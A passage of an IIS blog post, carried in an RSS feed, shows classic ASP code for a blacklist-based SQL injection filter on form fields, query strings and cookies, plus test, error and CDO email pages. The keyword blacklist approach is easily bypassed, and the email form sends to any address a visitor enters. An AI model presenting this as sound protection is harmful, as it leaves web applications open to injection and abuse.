  &lt;span class="kwrd"&gt;ElseIf&lt;/span&gt; ( StrComp(str, &lt;span class="str"&gt;&amp;quot;&amp;quot;&lt;/span&gt;) = 0 ) &lt;span class="kwrd"&gt;Then&lt;/span&gt;
    CheckStringForSQL = &lt;span class="kwrd"&gt;false&lt;/span&gt;
    &lt;span class="kwrd"&gt;Exit&lt;/span&gt; &lt;span class="kwrd"&gt;Function&lt;/span&gt;
  &lt;span class="kwrd"&gt;End&lt;/span&gt; &lt;span class="kwrd"&gt;If&lt;/span&gt;
  
  lstr = LCase(str)
  
  &lt;span class="rem"&gt;' Check if the string contains any patterns in our&lt;/span&gt;
  &lt;span class="rem"&gt;' black list&lt;/span&gt;
  &lt;span class="kwrd"&gt;For&lt;/span&gt; &lt;span class="kwrd"&gt;Each&lt;/span&gt; s &lt;span class="kwrd"&gt;in&lt;/span&gt; BlackList
  
    &lt;span class="kwrd"&gt;If&lt;/span&gt; ( InStr (lstr, s) &amp;lt;&amp;gt; 0 ) &lt;span class="kwrd"&gt;Then&lt;/span&gt;
      CheckStringForSQL = &lt;span class="kwrd"&gt;true&lt;/span&gt;
      &lt;span class="kwrd"&gt;Exit&lt;/span&gt; &lt;span class="kwrd"&gt;Function&lt;/span&gt;
    &lt;span class="kwrd"&gt;End&lt;/span&gt; &lt;span class="kwrd"&gt;If&lt;/span&gt;
  
  &lt;span class="kwrd"&gt;Next&lt;/span&gt;
  
  CheckStringForSQL = &lt;span class="kwrd"&gt;false&lt;/span&gt;
  
&lt;span class="kwrd"&gt;End&lt;/span&gt; &lt;span class="kwrd"&gt;Function&lt;/span&gt; 


&lt;span class="rem"&gt;'''''''''''''''''''''''''''''''''''''''''''''''''''&lt;/span&gt;
&lt;span class="rem"&gt;'  Check forms data&lt;/span&gt;
&lt;span class="rem"&gt;'''''''''''''''''''''''''''''''''''''''''''''''''''&lt;/span&gt;

&lt;span class="kwrd"&gt;For&lt;/span&gt; &lt;span class="kwrd"&gt;Each&lt;/span&gt; s &lt;span class="kwrd"&gt;in&lt;/span&gt; Request.Form
  &lt;span class="kwrd"&gt;If&lt;/span&gt; ( CheckStringForSQL(Request.Form(s)) ) &lt;span class="kwrd"&gt;Then&lt;/span&gt;
  
    &lt;span class="rem"&gt;' Redirect to an error page&lt;/span&gt;
    Response.Redirect(ErrorPage)
  
  &lt;span class="kwrd"&gt;End&lt;/span&gt; &lt;span class="kwrd"&gt;If&lt;/span&gt;
&lt;span class="kwrd"&gt;Next&lt;/span&gt;

&lt;span class="rem"&gt;'''''''''''''''''''''''''''''''''''''''''''''''''''&lt;/span&gt;
&lt;span class="rem"&gt;'  Check query string&lt;/span&gt;
&lt;span class="rem"&gt;'''''''''''''''''''''''''''''''''''''''''''''''''''&lt;/span&gt;

&lt;span class="kwrd"&gt;For&lt;/span&gt; &lt;span class="kwrd"&gt;Each&lt;/span&gt; s &lt;span class="kwrd"&gt;in&lt;/span&gt; Request.QueryString
  &lt;span class="kwrd"&gt;If&lt;/span&gt; ( CheckStringForSQL(Request.QueryString(s)) ) &lt;span class="kwrd"&gt;Then&lt;/span&gt;
  
    &lt;span class="rem"&gt;' Redirect to error page&lt;/span&gt;
    Response.Redirect(ErrorPage)

    &lt;span class="kwrd"&gt;End&lt;/span&gt; &lt;span class="kwrd"&gt;If&lt;/span&gt;
  
&lt;span class="kwrd"&gt;Next&lt;/span&gt;


&lt;span class="rem"&gt;'''''''''''''''''''''''''''''''''''''''''''''''''''&lt;/span&gt;
&lt;span class="rem"&gt;'  Check cookies&lt;/span&gt;
&lt;span class="rem"&gt;'''''''''''''''''''''''''''''''''''''''''''''''''''&lt;/span&gt;

&lt;span class="kwrd"&gt;For&lt;/span&gt; &lt;span class="kwrd"&gt;Each&lt;/span&gt; s &lt;span class="kwrd"&gt;in&lt;/span&gt; Request.Cookies
  &lt;span class="kwrd"&gt;If&lt;/span&gt; ( CheckStringForSQL(Request.Cookies(s)) ) &lt;span class="kwrd"&gt;Then&lt;/span&gt;
  
    &lt;span class="rem"&gt;' Redirect to error page&lt;/span&gt;
    Response.Redirect(ErrorPage)

  &lt;span class="kwrd"&gt;End&lt;/span&gt; &lt;span class="kwrd"&gt;If&lt;/span&gt;
  
&lt;span class="kwrd"&gt;Next&lt;/span&gt;


&lt;span class="rem"&gt;'''''''''''''''''''''''''''''''''''''''''''''''''''&lt;/span&gt;
&lt;span class="rem"&gt;'  Add additional checks for input that your application&lt;/span&gt;
&lt;span class="rem"&gt;'  uses. (for example various request headers your app &lt;/span&gt;
&lt;span class="rem"&gt;'  might use)&lt;/span&gt;
&lt;span class="rem"&gt;'''''''''''''''''''''''''''''''''''''''''''''''''''&lt;/span&gt;

%&amp;gt;&lt;/pre&gt;

&lt;pre class="csharpcode"&gt;&amp;#160;&lt;/pre&gt;

&lt;pre class="csharpcode"&gt;&amp;#160;&lt;/pre&gt;

&lt;p&gt;&lt;style type="text/css"&gt;





.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;&lt;/p&gt;
&lt;span style="mso-fareast-font-family: &amp;#39;Times New Roman&amp;#39;"&gt;&lt;font size="5"&gt;&lt;font color="#17365d"&gt;&lt;font face="Calibri"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;

&lt;p mce_keep="true"&gt;&amp;#160;&lt;/p&gt;
&lt;span style="mso-fareast-font-family: &amp;#39;Times New Roman&amp;#39;"&gt;&amp;#160;&lt;/span&gt;&lt;span style="mso-fareast-font-family: &amp;#39;Times New Roman&amp;#39;"&gt;&lt;font size="5"&gt;&lt;font color="#17365d"&gt;&lt;font face="Calibri"&gt;TestPage.asp &lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;span style="mso-fareast-font-family: &amp;#39;Times New Roman&amp;#39;"&gt;&lt;font size="5"&gt;
    &lt;p mce_keep="true"&gt;&amp;#160;&lt;/p&gt;
  &lt;/font&gt;&lt;/span&gt;

&lt;p mce_keep="true"&gt;&amp;#160;&lt;/p&gt;

&lt;p mce_keep="true"&gt;&amp;#160;&lt;/p&gt;

&lt;p&gt;&lt;font face="Calibri" size="3"&gt;&lt;/font&gt;&amp;#160;&lt;/p&gt;

&lt;p mce_keep="true"&gt;&amp;#160;&lt;/p&gt;

&lt;p class="MsoNormal" style="margin: 0in 0in 10pt"&gt;&lt;font face="Calibri" size="3"&gt;This is a sample that shows how to &amp;#8216;include&amp;#8217; the script above in my application. Make sure the path to your include file is correct. The example below is for the application and the include file being in the same directory. Make sure you modify the path if these 2 are not in the same directory.&lt;/font&gt;&lt;/p&gt;
&lt;font face="Calibri" size="3"&gt;&lt;font size="2"&gt;&lt;/font&gt;&lt;/font&gt;

&lt;pre class="csharpcode"&gt;&amp;lt;% 
&lt;span class="rem"&gt;'  TestPage.asp&lt;/span&gt;
&lt;span class="rem"&gt;'&lt;/span&gt;
&lt;span class="rem"&gt;'  Author: Nazim Lala&lt;/span&gt;
&lt;span class="rem"&gt;'&lt;/span&gt;
&lt;span class="rem"&gt;'  This is a file to test the SQLCheckInclude file. The idea here is that you add&lt;/span&gt;
&lt;span class="rem"&gt;'  the include file to the beginning of every asp page to get SQL injection &lt;/span&gt;
&lt;span class="rem"&gt;'  input validation&lt;/span&gt;


%&amp;gt;

&amp;lt;!--#include file=&lt;span class="str"&gt;&amp;quot;SqlCheckInclude.asp&amp;quot;&lt;/span&gt;--&amp;gt;
&amp;lt;%
Response.Write(&lt;span class="str"&gt;&amp;quot;Welcome to the Test Page.&amp;quot;&lt;/span&gt;)
Response.Write(&lt;span class="str"&gt;&amp;quot;If you are seeing this page then SQL validation succeeded.&amp;quot;&lt;/span&gt;)
%&amp;gt;&lt;/pre&gt;

&lt;pre class="csharpcode"&gt;&amp;#160;&lt;/pre&gt;

&lt;pre class="csharpcode"&gt;&amp;#160;&lt;/pre&gt;
&lt;style type="text/css"&gt;





.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;h1 style="margin: 10pt 0in 0pt"&gt;&lt;span style="mso-fareast-font-family: &amp;#39;Times New Roman&amp;#39;"&gt;&lt;font size="5"&gt;&lt;font color="#17365d"&gt;&lt;font face="Calibri"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;/h1&gt;

&lt;h1 style="margin: 10pt 0in 0pt"&gt;&lt;span style="mso-fareast-font-family: &amp;#39;Times New Roman&amp;#39;"&gt;&lt;font size="5"&gt;&lt;font color="#17365d"&gt;&lt;font face="Calibri"&gt;ErrorPage.asp 
          &lt;p mce_keep="true"&gt;&amp;#160;&lt;/p&gt;
        &lt;/font&gt;&lt;/font&gt;&lt;/font&gt;&lt;/span&gt;&lt;/h1&gt;

&lt;p&gt;&lt;font face="Calibri" size="3"&gt;&lt;/font&gt;&amp;#160;&lt;/p&gt;

&lt;p class="MsoNormal" style="margin: 0in 0in 10pt"&gt;&lt;font face="Calibri" size="3"&gt;If a &amp;#8216;black list&amp;#8217; string is found in any input, this is the page you will be forwarded to. You can reuse any custom error page that you already have for this. I am including this only for the sake of completeness. &lt;/font&gt;&lt;/p&gt;

&lt;p&gt;&lt;font face="Calibri" size="3"&gt;&lt;/font&gt;&lt;/p&gt;

&lt;pre class="csharpcode"&gt;&amp;lt;% 
&lt;span class="rem"&gt;'  ErrorPage.asp&lt;/span&gt;
&lt;span class="rem"&gt;'&lt;/span&gt;
&lt;span class="rem"&gt;'  Author: Nazim Lala&lt;/span&gt;
&lt;span class="rem"&gt;'&lt;/span&gt;
&lt;span class="rem"&gt;'  This is the error page that users will be redirected to if the input cannot&lt;/span&gt;
&lt;span class="rem"&gt;'  be validated&lt;/span&gt;

%&amp;gt;
&amp;lt;%Response.Write(&lt;span class="str"&gt;&amp;quot;ERROR: Invalid Input&amp;quot;&lt;/span&gt;)%&amp;gt;&lt;/pre&gt;
&lt;style type="text/css"&gt;





.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p class="MsoNormal" style="margin: 0in 0in 10pt"&gt;&lt;font size="3"&gt;&lt;font face="Calibri"&gt;&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p class="MsoNormal" style="margin: 0in 0in 10pt"&gt;&lt;font size="3"&gt;&lt;font face="Calibri"&gt;&lt;/font&gt;&lt;/font&gt;&amp;#160;&lt;/p&gt;

&lt;p class="MsoNormal" style="margin: 0in 0in 10pt"&gt;&lt;font face="Calibri" size="3"&gt;&lt;/font&gt;&amp;#160;&lt;/p&gt;

&lt;h3&gt;&lt;font face="Calibri" color="#17365d" size="5"&gt;SendEmail.asp&lt;/font&gt;&lt;/h3&gt;

&lt;p class="MsoNormal" style="margin: 0in 0in 10pt"&gt;&lt;font face="Calibri" size="3"&gt;&lt;/font&gt;&amp;#160;&lt;/p&gt;

&lt;p class="MsoNormal" style="margin: 0in 0in 10pt"&gt;&lt;font face="Calibri" size="3"&gt;This script sends email via a remote SMTP server that uses credentials. You will need to integrate this into your application at the right place to get error reporting via email.&lt;/font&gt;&lt;/p&gt;

&lt;pre class="csharpcode"&gt;&amp;lt;% 

&lt;span class="rem"&gt;'  SendEmail.asp&lt;/span&gt;
&lt;span class="rem"&gt;'  Author: Nazim Lala&lt;/span&gt;
    
&lt;span class="kwrd"&gt;Function&lt;/span&gt; SendEmail(email, msg) 
  &lt;span class="kwrd"&gt;On&lt;/span&gt; &lt;span class="kwrd"&gt;Error&lt;/span&gt; &lt;span class="kwrd"&gt;Resume&lt;/span&gt; &lt;span class="kwrd"&gt;Next&lt;/span&gt; 
  
  &lt;span class="rem"&gt;' If the string is empty, return false&lt;/span&gt;
  &lt;span class="kwrd"&gt;If&lt;/span&gt; ( IsEmpty(email) ) &lt;span class="kwrd"&gt;Then&lt;/span&gt;
    SendEmail = &lt;span class="kwrd"&gt;false&lt;/span&gt;
    &lt;span class="kwrd"&gt;Exit&lt;/span&gt; &lt;span class="kwrd"&gt;Function&lt;/span&gt;
  &lt;span class="kwrd"&gt;ElseIf&lt;/span&gt; ( StrComp(email, &lt;span class="str"&gt;&amp;quot;&amp;quot;&lt;/span&gt;) = 0 ) &lt;span class="kwrd"&gt;Then&lt;/span&gt;
    SendEmail = &lt;span class="kwrd"&gt;false&lt;/span&gt;
    &lt;span class="kwrd"&gt;Exit&lt;/span&gt; &lt;span class="kwrd"&gt;Function&lt;/span&gt;
  &lt;span class="kwrd"&gt;End&lt;/span&gt; &lt;span class="kwrd"&gt;If&lt;/span&gt;
  

  &lt;span class="kwrd"&gt;Set&lt;/span&gt; cdoConfig = CreateObject(&lt;span class="str"&gt;&amp;quot;CDO.Configuration&amp;quot;&lt;/span&gt;)  

  &lt;span class="kwrd"&gt;With&lt;/span&gt; cdoConfig.Fields  
      .Item(cdoSendUsingMethod) = cdoSendUsingPort  
      &lt;span class="rem"&gt;' Fill in server name for remote SMTP server and&lt;/span&gt;
      &lt;span class="rem"&gt;' credentials&lt;/span&gt;
      .Item(cdoSMTPServer) = &lt;span class="str"&gt;&amp;quot;smtpserver.foo.com&amp;quot;&lt;/span&gt;  
      .Item(cdoSMTPAuthenticate) = 1  
      .Item(cdoSendUsername) = &lt;span class="str"&gt;&amp;quot;username&amp;quot;&lt;/span&gt;  
      .Item(cdoSendPassword) = &lt;span class="str"&gt;&amp;quot;password&amp;quot;&lt;/span&gt;  
      .Update  
  &lt;span class="kwrd"&gt;End&lt;/span&gt; &lt;span class="kwrd"&gt;With&lt;/span&gt; 

  &lt;span class="kwrd"&gt;Set&lt;/span&gt; cdoMessage = CreateObject(&lt;span class="str"&gt;&amp;quot;CDO.Message&amp;quot;&lt;/span&gt;)  

  &lt;span class="kwrd"&gt;With&lt;/span&gt; cdoMessage 
    &lt;span class="rem"&gt;'Fill in sender information&lt;/span&gt;
    &lt;span class="kwrd"&gt;Set&lt;/span&gt; .Configuration = cdoConfig 
    .From = &lt;span class="str"&gt;&amp;quot;me@myself.com&amp;quot;&lt;/span&gt; 
    .&lt;span class="kwrd"&gt;To&lt;/span&gt; = email 
    .Subject = &lt;span class="str"&gt;&amp;quot;Test Email&amp;quot;&lt;/span&gt; 
    .TextBody = msg 
    .Send 
  &lt;span class="kwrd"&gt;End&lt;/span&gt; &lt;span class="kwrd"&gt;With&lt;/span&gt; 

  &lt;span class="kwrd"&gt;Set&lt;/span&gt; cdoMessage = &lt;span class="kwrd"&gt;Nothing&lt;/span&gt;  
  &lt;span class="kwrd"&gt;Set&lt;/span&gt; cdoConfig = &lt;span class="kwrd"&gt;Nothing&lt;/span&gt;  
  
  SendEmail = &lt;span class="kwrd"&gt;true&lt;/span&gt;
  
&lt;span class="kwrd"&gt;End&lt;/span&gt; &lt;span class="kwrd"&gt;Function&lt;/span&gt; 


%&amp;gt;


&amp;lt;FORM VERB=POST METHOD=&lt;span class="str"&gt;&amp;quot;POST&amp;quot;&lt;/span&gt;&amp;gt; 
Test page &lt;span class="kwrd"&gt;for&lt;/span&gt; checking input &lt;span class="kwrd"&gt;with&lt;/span&gt; possible SQL injection.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;
Email: &amp;lt;INPUT NAME=Email&amp;gt;&amp;lt;/INPUT&amp;gt;&amp;lt;BR&amp;gt;
Message: &amp;lt;INPUT NAME=Message&amp;gt;&amp;lt;/INPUT&amp;gt;&amp;lt;BR&amp;gt;
Sent: &amp;lt;% = SendEmail(Request(&lt;span class="str"&gt;&amp;quot;Email&amp;quot;&lt;/span&gt;),Request(&lt;span class="str"&gt;&amp;quot;Message&amp;quot;&lt;/span&gt;)) %&amp;gt;&amp;lt;BR&amp;gt; 
&amp;lt;BUTTON TYPE=SUBMIT&amp;gt;Submit&amp;lt;/BUTTON&amp;gt; 
&amp;lt;/FORM&amp;gt; &lt;/pre&gt;
&lt;style type="text/css"&gt;


.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }&lt;/style&gt;

&lt;p class="MsoNormal" style="margin: 0in 0in 10pt"&gt;&lt;font size="3"&gt;&lt;font face="Calibri"&gt;&lt;/font&gt;&lt;/font&gt;&amp;#160;&lt;/p&gt;

&lt;p class="MsoNormal" style="margin: 0in 0in 10pt"&gt;&lt;font size="3"&gt;&lt;font face="Calibri"&gt;Hope this helps. If folks are averse to VBScript I can cook up something for Jscript if there is demand.&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;

&lt;p mce_keep="true"&gt;&lt;/p&gt;&lt;img src="http://blogs.iis.net/aggbug.aspx?PostID=2325776" width="1" height="1"&gt;</description></item></channel></rss>